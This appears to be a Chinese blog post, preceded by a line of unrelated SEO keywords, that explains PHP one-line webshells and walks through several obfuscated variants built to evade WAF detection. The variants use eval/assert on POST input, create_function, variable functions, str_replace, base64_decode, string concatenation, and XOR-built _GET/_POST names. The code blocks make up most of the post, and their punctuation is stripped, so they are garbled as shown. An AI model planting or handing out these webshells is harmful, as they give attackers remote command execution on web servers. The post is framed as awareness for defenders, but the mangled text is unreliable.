怎么推广公司的网站,梅州市住房和城乡建设局网站,玻璃制品东莞网站建设,河南省建设信息管理协会今天来和大家聊一聊#xff0c;一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马#xff0c;这里的“马”是木马的意思#xff0c;可不是真实的马。 通常#xff0c;攻击者利用文件上传漏洞#xff0c;上传一个可执行并且能被解析的脚本文件#xff0c;… 今天来和大家聊一聊一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马这里的“马”是木马的意思可不是真实的马。 通常攻击者利用文件上传漏洞上传一个可执行并且能被解析的脚本文件通过这个脚本来获得服务器端执行命令的能力也就是我们经常听到的WebShell而这个脚本文件就是我们常说的大马和小马。 1、都有些什么“马”
小马 体积小功能少优点在于不易被发现功能单一常作为上传大马的跳板。大马 体积大功能强大但是易被发现。一句话木马 在小马和大马之外衍生出的另一种木马只需短短一行代码再结合WebShell工具如菜刀、蚁剑、冰蝎等等就能做到与大马能力相当的功能执行命令行、文件上传、文件下载等功能。
随着一句话木马的滥用普通的一句话木马都已经逃不过waf的检测了为了逃避waf的检测一句话木马开始了他的变形之旅。
2、一句话木马的变形之路
【最初的一句话】 制作一句话
?php eval($_POST[juminfo]);?
?php assert($_POST[juminfo]);?【create_function函数】 脚本内容
?php
$fun create_function(,$_POST[juminfo]);
$fun();
?把用户传递的数据生成一个函数fun()然后再执行fun()。
【PHP变量函数】 脚本内容
?php
$a assert;
$a($_POST[juminfo]);
?第三行使用了变量函数$a变量储存了函数名eval便可以直接用变量替代函数名。 【PHP可变变量】 脚本内容
?php
$bbassert;
$abb;
$$a($_POST[juminfo]);
?通过上一个语句进行的多一层变化$$a ( ( (a) $ (‘bb’) $bb “assert” 【str_replace函数】 脚本内容
?php
$astr_replace(juminfo, , assjuminfoert);
$a($_POST[juminfo]);
?在第三个参数中查找第一个参数并替换成第二个参数。这里第二个参数为空字符串就相当于删除juminfo。 【base64_decode函数】 脚本内容
?php
$abase64_decode(YXNzZXJ0)
$a($_POST[juminfo]);
?这里是base64解密函数YXNzZXJ0是assert的base64加密。
【.操作符】 脚本内容
?php
$aas.s;
$ber.t;
$c$a.$b;
$c($_POST[juminfo]);
?【运算符变形】 脚本内容
?php
$_;
$__(^?).(:^}).(%^).({^/);
$___($^{).(~^.).(/^).(-^~).((^|);
${$__}[!$_](${$___}[$_]);
?当我第一次看到这个脚本的时候一头雾水这是什么东西 后来用echo打印出三个变量 、 _、 、__、$___可以看到他们的值分别为1、_GET、_POST放入最后一条语句中刚好组成一个两层的一句话木马。 ?php $_GET[0]($_POST[1])?
只要我们将0赋值为assert就可以构成经典的一句话?php assert($_POST[1])?,密码是1。
3、总结
一句话的混淆方式还有很多很多基于以上的变形思路还能够衍生出无数新的变种木马为了更好地防止“被放马”的事件发生我们应该及时对使用的安全产品进行更新才能让“马”无处可走。